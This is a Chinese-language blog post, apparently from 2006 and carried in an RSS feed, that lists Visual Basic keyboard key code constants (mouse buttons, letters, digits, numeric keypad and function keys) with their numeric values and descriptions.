				<br />键码<br />常数 值 描述 <br />vbKeyLButton 1 鼠标左键 <br />vbKeyRButton 2 鼠标右键 <br />vbKeyCancel 3 CANCEL 键 <br />vbKeyMButton 4 鼠标中键 <br />vbKeyBack 8 BACKSPACE 键 <br />vbKeyTab 9 TAB 键 <br />vbKeyClear 12 CLEAR 键 <br />vbKeyReturn 13 ENTER 键 <br />vbKeyShift 16 SHIFT 键 <br />vbKeyControl 17 CTRL 键 <br />vbKeyMenu 18 菜单键 <br />vbKeyPause 19 PAUSE 键 <br />vbKeyCapital 20 CAPS LOCK 键 <br />vbKeyEscape 27 ESC 键 <br />vbKeySpace 32 SPACEBAR 键 <br />vbKeyPageUp 33 PAGEUP 键 <br />vbKeyPageDown 34 PAGEDOWN 键 <br />vbKeyEnd 35 END 键 <br />vbKeyHome 36 HOME 键 <br />vbKeyLeft 37 LEFT ARROW 键 <br />vbKeyUp 38 UP ARROW 键 <br />vbKeyRight 39 RIGHT ARROW 键 <br />vbKeyDown 40 DOWN ARROW 键 <br />vbKeySelect 41 SELECT 键 <br />vbKeyPrint 42 PRINT SCREEN 键 <br />vbKeyExecute 43 EXECUTE 键 <br />vbKeySnapshot 44 SNAP SHOT 键 <br />vbKeyInser 45 INS 键 <br />vbKeyDelete 46 DEL 键 <br />vbKeyHelp 47 HELP 键 <br />vbKeyNumlock 144 NUM LOCK 键 </p>
		<p>
				<br />A 键到 Z 键与其 ASCII 码的相应值'A' 到 'Z' 是一致的<br />常数 值 描述 <br />vbKeyA 65 A 键 <br />vbKeyB 66 B 键 <br />vbKeyC 67 C 键 <br />vbKeyD 68 D 键 <br />vbKeyE 69 E 键 <br />vbKeyF 70 F 键 <br />vbKeyG 71 G 键 <br />vbKeyH 72 H 键 <br />vbKeyI 73 I 键 <br />vbKeyJ 74 J 键 <br />vbKeyK 75 K 键 <br />vbKeyL 76 L 键 <br />vbKeyM 77 M 键 <br />vbKeyN 78 N 键 <br />vbKeyO 79 O 键 <br />vbKeyP 80 P 键 <br />vbKeyQ 81 Q 键 <br />vbKeyR 82 R 键 <br />vbKeyS 83 S 键 <br />vbKeyT 84 T 键 <br />vbKeyU 85 U 键 <br />vbKeyV 86 V 键 <br />vbKeyW 87 W 键 <br />vbKeyX 88 X 键 <br />vbKeyY 89 Y 键 <br />vbKeyZ 90 Z 键 </p>
		<p>
				<br />0 键到 9 键与其 ASCII 码的相应值 '0' 到 '9' 是一致的<br />常数 值 描述 <br />vbKey0 48 0 键 <br />vbKey1 49 1 键 <br />vbKey2 50 2 键 <br />vbKey3 51 3 键 <br />vbKey4 52 4 键 <br />vbKey5 53 5 键 <br />vbKey6 54 6 键 <br />vbKey7 55 7 键 <br />vbKey8 56 8 键 <br />vbKey9 57 9 键 </p>
		<p>
				<br />数字小键盘上的键<br />常数 值 描述 <br />vbKeyNumpad0 96 0 键 <br />vbKeyNumpad1 97 1 键 <br />vbKeyNumpad2 98 2 键 <br />vbKeyNumpad3 99 3 键 <br />vbKeyNumpad4 100 4 键 <br />vbKeyNumpad5 101 5 键 <br />vbKeyNumpad6 102 6 键 <br />vbKeyNumpad7 103 7 键 <br />vbKeyNumpad8 104 8 键 <br />vbKeyNumpad9 105 9 键 <br />vbKeyMultiply 106 乘号 (*) 键 <br />vbKeyAdd 107 加号 (+) 键 <br />vbKeySeparator 108 ENTER 键（在数字小键盘上） <br />vbKeySubtract 109 减号 (-) 键 <br />vbKeyDecimal 110 小数点 (.) 键 <br />vbKeyDivide 111 除号 (/) 键 </p>
		<p>
				<br />功能键<br />常数 值 描述 <br />vbKeyF1 112 F1 键 <br />vbKeyF2 113 F2 键 <br />vbKeyF3 114 F3 键 <br />vbKeyF4 115 F4 键 <br />vbKeyF5 116 F5 键 <br />vbKeyF6 117 F6 键 <br />vbKeyF7 118 F7 键 <br />vbKeyF8 119 F8 键 <br />vbKeyF9 120 F9 键 <br />vbKeyF10 121 F10 键 <br />vbKeyF11 122 F11 键 <br />vbKeyF12 123 F12 键 <br />vbKeyF13 124 F13 键 <br />vbKeyF14 125 F14 键 <br />vbKeyF15 126 F15 键 <br />vbKeyF16 127 F16 键 </p>
<img src ="http://www.blogjava.net/WshmAndLily/aggbug/45462.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/WshmAndLily/" target="_blank">semovy</a> 2006-05-10 15:09 <a href="http://www.blogjava.net/WshmAndLily/articles/45462.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item></channel></rss>